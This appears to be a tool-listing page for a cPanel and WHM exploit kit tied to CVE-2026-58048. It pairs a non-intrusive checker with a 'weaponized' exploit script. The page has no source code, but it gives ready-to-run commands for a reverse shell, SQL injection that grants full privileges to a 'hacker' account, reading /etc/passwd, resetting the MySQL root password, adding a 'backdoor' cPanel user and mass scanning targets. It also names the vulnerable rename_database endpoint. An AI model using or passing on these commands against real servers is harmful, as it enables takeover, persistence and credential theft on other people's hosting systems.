CVE-2026-58048-PoC-Exploit — 👾 CVE-2026-58048 – cPanel Root SQL Execution Toolkit (CVSS 9.4) | Full Red/Blue Team Toolkit suite for unpatched cPanel & WHM 11.x. 2 tools: Safe Checker (audit/reporting), Weaponized (reverse shell, persistence, UDF RCE, deployment, file read/write, database operations, mass scan). w/Python. 🦾 Use Ethically, Stay Legal <3 | Kitploit

Tool	Purpose	Intended User
`exploit.py`	Full weaponized toolkit with reverse shell, persistence, UDF RCE, file read/write, database operations, proxy support, and mass scanning.	Red teams / authorized pentesters
`safecheck.py`	Non‑intrusive vulnerability checker that detects cPanel version and assesses risk without executing any malicious payload. Generates detailed reports.	Blue teams / security auditors

Feature	`exploit.py`	`safecheck.py`
Vulnerability detection	✅	✅
Version detection	✅	✅
MySQL root SQL injection	✅	❌
Reverse shell	✅	❌
Persistence (cPanel user creation)	✅	❌
UDF RCE (command execution)	✅	❌
File read/write	✅	❌
Database operations (any SQL)	✅	❌
Proxy support	✅	✅
Mass scanning (multi‑thread)	✅	❌
Interactive shell	✅	❌
Non‑intrusive (safe) mode	❌	✅
Verbose/Debug mode	✅	✅
SSL verification control	✅	✅
Custom User‑Agent	✅	✅
Request delay / retries	✅	❌
JSON / report output	✅	✅
Endpoint accessibility check	❌	✅
SQL mode leakage detection	❌	✅

Scenario	Recommended Tool
Blue Team – verifying if your cPanel installation is vulnerable	`safecheck.py`
Security Audit – non‑intrusive vulnerability assessment	`safecheck.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`safecheck.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` (detection only)
Incident Response – checking if systems are compromised	`safecheck.py`

Parameter	Description
`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-l, --target-file`	File containing list of targets (one per line) for mass scanning
`-u, --mysql-user`	cPanel/MySQL username
`-P, --mysql-pass`	cPanel/MySQL password
`--mysql-port`	MySQL port (default: 3306)
`-p, --port`	Override cPanel port (default from URL or 2083)
`--threads`	Number of threads for multi‑target (default: 10)
`-o, --output`	Save results to file (single target)
`--log`	Log file for detailed output
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Custom User‑Agent
`--no-keep-alive`	Do not keep session alive
`--delay`	Delay between requests (default: 2.0s)
`--max-retries`	Max retries (default: 3)
`--ssl-verify`	Verify SSL certificates
`--cmd`	Command to execute (prefix with `sql:` or `udf:` for specific)
`--inject`	Custom SQL to inject (overrides other actions)
`--reverse-shell`	Reverse shell IP:PORT (uses UDF)
`--passwd`	Change root MySQL password
`--adduser`	Create cPanel user (USER DOMAIN PASSWORD)
`--read`	Read a file via

Parameter	Description
`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`-ua, --user-agent`	Custom User‑Agent
`--ssl-verify`	Verify SSL certificates
`--timeout`	Request timeout in seconds (default: 10)
`--log`	Save report to file
`--json`	Output results in JSON format

#	Scenario	Command
1	Quick vulnerability check	`python safecheck.py -t https://cpanel.example.com:2083`
2	Detailed scan with report	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Reverse shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Execute custom SQL (root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	Read sensitive file	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Change MySQL root password	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Create new cPanel user (persistence)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Interactive shell after exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Mass scanning from file	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	Use proxy and custom User‑Agent	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

Endpoint	Purpose
`/execute/Mysql/create_database`	Create temporary database
`/execute/Mysql/delete_database`	Clean up created databases
`/execute/Mysql/rename_database`	Vulnerable endpoint – triggers SQL injection
`/execute/Version/get_version`	Authentication and version check
`/execute/UserManager/create_user`	Create new cPanel user (persistence)
`/execute/UserManager/list_users`	List existing users

LOAD_FILE

Beliebteste

CVE-2026-58048-PoC-Exploit

Über

How it works

Affected Versions

Patch

🧰 Tools

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

requirements.txt

📋 Parameters

`exploit.py` Parameters

`safecheck.py` Parameters

💥 Scenarios

🧪 Endpoint & API Usage

🛡️ Responsible Use